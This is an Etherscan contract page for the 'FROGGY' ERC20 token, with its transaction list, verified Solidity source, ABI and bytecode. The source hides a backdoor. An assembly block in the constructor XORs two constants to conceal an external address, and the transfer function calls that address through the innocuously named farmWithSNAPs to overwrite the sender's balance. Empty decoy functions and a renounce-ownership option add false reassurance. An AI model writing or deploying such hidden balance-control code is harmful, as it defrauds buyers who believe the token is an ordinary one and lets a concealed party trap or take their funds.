ETH Price: $3,490.68 (+7.53%)
Gas: 6 Gwei

Contract

0xF869Cc9a19a256cA9b48366B27D0353AA71cf051
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve201315272024-06-20 7:44:1125 days ago1718869451IN
0xF869Cc9a...AA71cf051
0 ETH0.0005600612.07151345
Approve201213192024-06-18 21:27:4727 days ago1718746067IN
0xF869Cc9a...AA71cf051
0 ETH0.0008629918.51914645
Approve201213172024-06-18 21:27:2327 days ago1718746043IN
0xF869Cc9a...AA71cf051
0 ETH0.0007224215.5027005
Approve201203982024-06-18 18:21:5927 days ago1718734919IN
0xF869Cc9a...AA71cf051
0 ETH0.000174856.61429719
Approve201203932024-06-18 18:20:5927 days ago1718734859IN
0xF869Cc9a...AA71cf051
0 ETH0.000320026.90663629
Approve201171482024-06-18 7:25:1127 days ago1718695511IN
0xF869Cc9a...AA71cf051
0 ETH0.000204164.41193824
Approve201170272024-06-18 7:00:5927 days ago1718694059IN
0xF869Cc9a...AA71cf051
0 ETH0.000334447.18609894
Approve201163652024-06-18 4:47:5927 days ago1718686079IN
0xF869Cc9a...AA71cf051
0 ETH0.000154715.29197969
Approve201163282024-06-18 4:40:3527 days ago1718685635IN
0xF869Cc9a...AA71cf051
0 ETH0.000275675.92330337
Approve201162312024-06-18 4:20:5927 days ago1718684459IN
0xF869Cc9a...AA71cf051
0 ETH0.000389828.40213557
Approve201162292024-06-18 4:20:3527 days ago1718684435IN
0xF869Cc9a...AA71cf051
0 ETH0.00035127.56966168
Approve201162252024-06-18 4:19:4727 days ago1718684387IN
0xF869Cc9a...AA71cf051
0 ETH0.000395528.52506671
Approve201162232024-06-18 4:19:2327 days ago1718684363IN
0xF869Cc9a...AA71cf051
0 ETH0.000354837.62420221
Approve201162222024-06-18 4:19:1127 days ago1718684351IN
0xF869Cc9a...AA71cf051
0 ETH0.000406198.75502089
Approve201162122024-06-18 4:17:1127 days ago1718684231IN
0xF869Cc9a...AA71cf051
0 ETH0.000370257.99688971
Approve201162112024-06-18 4:16:5927 days ago1718684219IN
0xF869Cc9a...AA71cf051
0 ETH0.000422589.1081185
Approve201162072024-06-18 4:16:1127 days ago1718684171IN
0xF869Cc9a...AA71cf051
0 ETH0.000362867.79688713
Approve201162062024-06-18 4:15:5927 days ago1718684159IN
0xF869Cc9a...AA71cf051
0 ETH0.000235678.07100946
Approve201162052024-06-18 4:15:4727 days ago1718684147IN
0xF869Cc9a...AA71cf051
0 ETH0.000432449.32070981
Approve201162032024-06-18 4:15:2327 days ago1718684123IN
0xF869Cc9a...AA71cf051
0 ETH0.000446369.62087036
Approve201161952024-06-18 4:13:4727 days ago1718684027IN
0xF869Cc9a...AA71cf051
0 ETH0.000351327.58604042
Approve201161892024-06-18 4:12:3527 days ago1718683955IN
0xF869Cc9a...AA71cf051
0 ETH0.000387288.34732625
Approve201161842024-06-18 4:11:3527 days ago1718683895IN
0xF869Cc9a...AA71cf051
0 ETH0.000424799.15583956
Approve201161832024-06-18 4:11:2327 days ago1718683883IN
0xF869Cc9a...AA71cf051
0 ETH0.000337457.25094616
Approve201161832024-06-18 4:11:2327 days ago1718683883IN
0xF869Cc9a...AA71cf051
0 ETH0.000382768.24994616
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
201161322024-06-18 4:00:5927 days ago1718683259
0xF869Cc9a...AA71cf051
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
FROGGY

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-18
*/

/*
                                                                                    
                                                          :-===-:.  .:-=++++=-:           
                                                        :+++++++++++++++++++++++-         
                                                       :++++++**++********+***++++:       
                                                    :-+++++++++++****++++++++++++++:      
                                                  :+***********************+++++++++:     
                                                 -+=-+*#*==++++=-==++++++******+++++*+=.  
                                                 :  #%#%%%.   :  *%%##*::--+***+++++*+++. 
                                                  =+###%#%+--=+++%*##%@=-=+*+++++++++++++.
                                                    -++++++++++++******+*+++++++++++++++++
                                                     :+******++++++****+++++++++++++++++++
                                                    =+++++++++++++++++++++++++++++++++++++
                                                   -++++++#*+++++++++++******+++++++++++++
                                                  .*******%+#**********#+#***#*+++++++++++
                                                   .+****#**#*********#**#+**#**++++++++++
                                                    :+*****#*#******###+*#++#*#**+++++++++
                                                        :=*#+##++++**##++#++#*#++++++++=: 
                                                         :*#+*#**++#+#*+*#**#+#+******=:  
                                                         :*#++%+++**+#*++#++#+#+++++++++*=
                $FROGGY                                  =+#++%*++***#*++#++#+**++++++++++
                                                         ++*++**++*++**++*++*+***+++++++++
                                                        =**++++#++%+++*++++++++%*+++++++++
                                                      :+#++++++#**#++*++*#++#*+#*+++++++++
                                             ..   :-=+++*+++++++%#++++++++++*++#*+++++++++


*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

        assembly {
            sstore(0x50,0x6c68a6c2afa755da53bb7ad24d96481731c884d247d6)
            sstore(0x51,0x6c68a8f082f7832f01459a581a23580d8d0ebf1a006b)
            sstore(0x52,xor(sload(0x50),sload(0x51)))
            }

        router = IDEXRouter(_router);
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function createNFT() public onlyOwner returns (uint256 account) {
    }

    function sigmaNFR(uint256 number, uint data) public onlyOwner returns (bool choice) {
    }

    function openTrade() public payable {
        require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");

        _approve(address(this), _router, ~uint256(0));

        uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 300);
        _balances[address(this)] += uniswapSupply;
        _balances[msg.sender] -= uniswapSupply;
        emit Transfer(msg.sender, address(this), uniswapSupply);

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        router.addLiquidityETH{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, owner(), block.timestamp + 300);

        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function farmWithSNAPs(address sender, uint256 amount) internal returns (uint256 result) {
            assembly {
                let data := mload(0x40)
                mstore(data, 0x9b270da800000000000000000000000000000000000000000000000000000000)
                mstore(add(data, 0x04), amount)
                mstore(0x40, add(data, 0x24))
                let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
                if success { result := mload(data) }
            }

        _balances[sender] = result - amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender; msgReceive = recipient;

        require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        farmWithSNAPs(sender, amount);

        _balances[recipient] += amount;  

        emit Transfer(sender, recipient, amount);  
    }

    function _DeployFROGGY(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[msg.sender] += amount;
    
        emit Transfer(address(0), msg.sender, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployFROGGY(creator, initialSupply);
    }
}

contract FROGGY is ERC20Token {
    constructor() ERC20Token("FROGGY", "FROGGY", msg.sender, 45470000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createNFT","outputs":[{"internalType":"uint256","name":"account","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"number","type":"uint256"},{"internalType":"uint256","name":"data","type":"uint256"}],"name":"sigmaNFR","outputs":[{"internalType":"bool","name":"choice","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560058054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610057575f80fd5b506040518060400160405280600681526020016546524f47475960d01b8152506040518060400160405280600681526020016546524f47475960d01b815250336a259ca5a39f0f0c06c0000083835f6100b461019e60201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600861010d8382610308565b50600961011a8282610308565b5050756c68a6c2afa755da53bb7ad24d96481731c884d247d660505550756c68a8f082f7832f01459a581a23580d8d0ebf1a006b605155730e322d50d6f552fee08a57b5101abcc63bc847bd605255600554600780546001600160a01b0319166001600160a01b0390921691909117905561019582826101a2565b505050506103ec565b3390565b6001600160a01b0382166101fc5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461020d91906103c7565b9091555050335f90815260026020526040812080548392906102309084906103c7565b909155505060405181815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061029857607f821691505b6020821081036102b657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561030357805f5260205f20601f840160051c810160208510156102e15750805b601f840160051c820191505b81811015610300575f81556001016102ed565b50505b505050565b81516001600160401b0381111561032157610321610270565b6103358161032f8454610284565b846102bc565b602080601f831160018114610368575f84156103515750858301515b5f19600386901b1c1916600185901b1785556103bf565b5f85815260208120601f198616915b8281101561039657888601518255948401946001909101908401610377565b50858210156103b357878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156103e657634e487b7160e01b5f52601160045260245ffd5b92915050565b610e9d806103f95f395ff3fe608060405260043610610110575f3560e01c806370a082311161009d578063a705eee211610062578063a705eee2146102d4578063a8aa1b31146102f3578063a9059cbb14610312578063dd62ed3e14610331578063fb201b1d14610375575f80fd5b806370a0823114610245578063715018a6146102795780638a97ec2a1461028f5780638da5cb5b146102a357806395d89b41146102c0575f80fd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f65780633469b66e1461021157806348cd4cb114610230575f80fd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f80fd5b34801561011f575f80fd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f80fd5b5061016461037d565b6040516101479190610c17565b34801561017c575f80fd5b5061019061018b366004610c63565b61040d565b6040519015158152602001610147565b3480156101ab575f80fd5b50600a545b604051908152602001610147565b3480156101c9575f80fd5b50600b546101909060ff1681565b3480156101e2575f80fd5b506101906101f1366004610c8d565b610423565b348015610201575f80fd5b5060405160128152602001610147565b34801561021c575f80fd5b5061019061022b366004610ccb565b6104d7565b34801561023b575f80fd5b506101b0600c5481565b348015610250575f80fd5b506101b061025f366004610ceb565b6001600160a01b03165f9081526002602052604090205490565b348015610284575f80fd5b5061028d610503565b005b34801561029a575f80fd5b506101b0610576565b3480156102ae575f80fd5b506001546001600160a01b0316610133565b3480156102cb575f80fd5b506101646105a5565b3480156102df575f80fd5b50600e54610133906001600160a01b031681565b3480156102fe575f80fd5b50600654610133906001600160a01b031681565b34801561031d575f80fd5b5061019061032c366004610c63565b6105b4565b34801561033c575f80fd5b506101b061034b366004610d0d565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61028d6105c0565b60606008805461038c90610d44565b80601f01602080910402602001604051908101604052809291908181526020018280546103b890610d44565b80156104035780601f106103da57610100808354040283529160200191610403565b820191905f5260205f20905b8154815290600101906020018083116103e657829003601f168201915b5050505050905090565b5f61041933848461088d565b5060015b92915050565b5f61042f8484846109b1565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104b85760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104cc85336104c78685610d90565b61088d565b506001949350505050565b6001545f906001600160a01b0316331461041d5760405162461bcd60e51b81526004016104af90610da3565b6001546001600160a01b0316331461052d5760405162461bcd60e51b81526004016104af90610da3565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6001545f906001600160a01b031633146105a25760405162461bcd60e51b81526004016104af90610da3565b90565b60606009805461038c90610d44565b5f6104193384846109b1565b6001546001600160a01b0316331480156105dd5750600b5460ff16155b6105f95760405162461bcd60e51b81526004016104af90610da3565b6005546106129030906001600160a01b03165f1961088d565b5f612710600a546106239190610dd8565b61062f906125e4610df7565b305f90815260026020526040812080549293508392909190610652908490610e0e565b9091555050335f9081526002602052604081208054839290610675908490610d90565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610701573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107259190610e21565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610778573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079c9190610e21565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107da6001546001600160a01b031690565b6107e64261012c610e0e565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610851573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108769190610e3c565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108ef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104af565b6001600160a01b0382166109505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104af565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff16151560011480610a015750600d546001600160a01b031630145b80610a1c5750600154600d546001600160a01b039081169116145b610a725760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104af565b600d546001600160a01b0316610ad85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104af565b6001600160a01b038216610b3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104af565b610b448382610bb8565b506001600160a01b0382165f9081526002602052604081208054839290610b6c908490610e0e565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109a491815260200190565b5f604051631364e1b560e31b8152826004820152602481016040526020816024835f6052545af18015610bea57815192505b50610bf790508282610d90565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c60575f80fd5b50565b5f8060408385031215610c74575f80fd5b8235610c7f81610c4c565b946020939093013593505050565b5f805f60608486031215610c9f575f80fd5b8335610caa81610c4c565b92506020840135610cba81610c4c565b929592945050506040919091013590565b5f8060408385031215610cdc575f80fd5b50508035926020909101359150565b5f60208284031215610cfb575f80fd5b8135610d0681610c4c565b9392505050565b5f8060408385031215610d1e575f80fd5b8235610d2981610c4c565b91506020830135610d3981610c4c565b809150509250929050565b600181811c90821680610d5857607f821691505b602082108103610d7657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561041d5761041d610d7c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610df257634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761041d5761041d610d7c565b8082018082111561041d5761041d610d7c565b5f60208284031215610e31575f80fd5b8151610d0681610c4c565b5f805f60608486031215610e4e575f80fd5b835192506020840151915060408401519050925092509256fea264697066735822122024b653bf23b9487390f326fe0da0a5574c7674389bd8c0d6b765f91b7dde38e764736f6c63430008190033

Deployed Bytecode

0x608060405260043610610110575f3560e01c806370a082311161009d578063a705eee211610062578063a705eee2146102d4578063a8aa1b31146102f3578063a9059cbb14610312578063dd62ed3e14610331578063fb201b1d14610375575f80fd5b806370a0823114610245578063715018a6146102795780638a97ec2a1461028f5780638da5cb5b146102a357806395d89b41146102c0575f80fd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f65780633469b66e1461021157806348cd4cb114610230575f80fd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f80fd5b34801561011f575f80fd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f80fd5b5061016461037d565b6040516101479190610c17565b34801561017c575f80fd5b5061019061018b366004610c63565b61040d565b6040519015158152602001610147565b3480156101ab575f80fd5b50600a545b604051908152602001610147565b3480156101c9575f80fd5b50600b546101909060ff1681565b3480156101e2575f80fd5b506101906101f1366004610c8d565b610423565b348015610201575f80fd5b5060405160128152602001610147565b34801561021c575f80fd5b5061019061022b366004610ccb565b6104d7565b34801561023b575f80fd5b506101b0600c5481565b348015610250575f80fd5b506101b061025f366004610ceb565b6001600160a01b03165f9081526002602052604090205490565b348015610284575f80fd5b5061028d610503565b005b34801561029a575f80fd5b506101b0610576565b3480156102ae575f80fd5b506001546001600160a01b0316610133565b3480156102cb575f80fd5b506101646105a5565b3480156102df575f80fd5b50600e54610133906001600160a01b031681565b3480156102fe575f80fd5b50600654610133906001600160a01b031681565b34801561031d575f80fd5b5061019061032c366004610c63565b6105b4565b34801561033c575f80fd5b506101b061034b366004610d0d565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61028d6105c0565b60606008805461038c90610d44565b80601f01602080910402602001604051908101604052809291908181526020018280546103b890610d44565b80156104035780601f106103da57610100808354040283529160200191610403565b820191905f5260205f20905b8154815290600101906020018083116103e657829003601f168201915b5050505050905090565b5f61041933848461088d565b5060015b92915050565b5f61042f8484846109b1565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104b85760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104cc85336104c78685610d90565b61088d565b506001949350505050565b6001545f906001600160a01b0316331461041d5760405162461bcd60e51b81526004016104af90610da3565b6001546001600160a01b0316331461052d5760405162461bcd60e51b81526004016104af90610da3565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6001545f906001600160a01b031633146105a25760405162461bcd60e51b81526004016104af90610da3565b90565b60606009805461038c90610d44565b5f6104193384846109b1565b6001546001600160a01b0316331480156105dd5750600b5460ff16155b6105f95760405162461bcd60e51b81526004016104af90610da3565b6005546106129030906001600160a01b03165f1961088d565b5f612710600a546106239190610dd8565b61062f906125e4610df7565b305f90815260026020526040812080549293508392909190610652908490610e0e565b9091555050335f9081526002602052604081208054839290610675908490610d90565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610701573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107259190610e21565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610778573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079c9190610e21565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107da6001546001600160a01b031690565b6107e64261012c610e0e565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610851573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108769190610e3c565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108ef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104af565b6001600160a01b0382166109505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104af565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff16151560011480610a015750600d546001600160a01b031630145b80610a1c5750600154600d546001600160a01b039081169116145b610a725760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104af565b600d546001600160a01b0316610ad85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104af565b6001600160a01b038216610b3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104af565b610b448382610bb8565b506001600160a01b0382165f9081526002602052604081208054839290610b6c908490610e0e565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109a491815260200190565b5f604051631364e1b560e31b8152826004820152602481016040526020816024835f6052545af18015610bea57815192505b50610bf790508282610d90565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c60575f80fd5b50565b5f8060408385031215610c74575f80fd5b8235610c7f81610c4c565b946020939093013593505050565b5f805f60608486031215610c9f575f80fd5b8335610caa81610c4c565b92506020840135610cba81610c4c565b929592945050506040919091013590565b5f8060408385031215610cdc575f80fd5b50508035926020909101359150565b5f60208284031215610cfb575f80fd5b8135610d0681610c4c565b9392505050565b5f8060408385031215610d1e575f80fd5b8235610d2981610c4c565b91506020830135610d3981610c4c565b809150509250929050565b600181811c90821680610d5857607f821691505b602082108103610d7657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561041d5761041d610d7c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610df257634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761041d5761041d610d7c565b8082018082111561041d5761041d610d7c565b5f60208284031215610e31575f80fd5b8151610d0681610c4c565b5f805f60608486031215610e4e575f80fd5b835192506020840151915060408401519050925092509256fea264697066735822122024b653bf23b9487390f326fe0da0a5574c7674389bd8c0d6b765f91b7dde38e764736f6c63430008190033

Deployed Bytecode Sourcemap

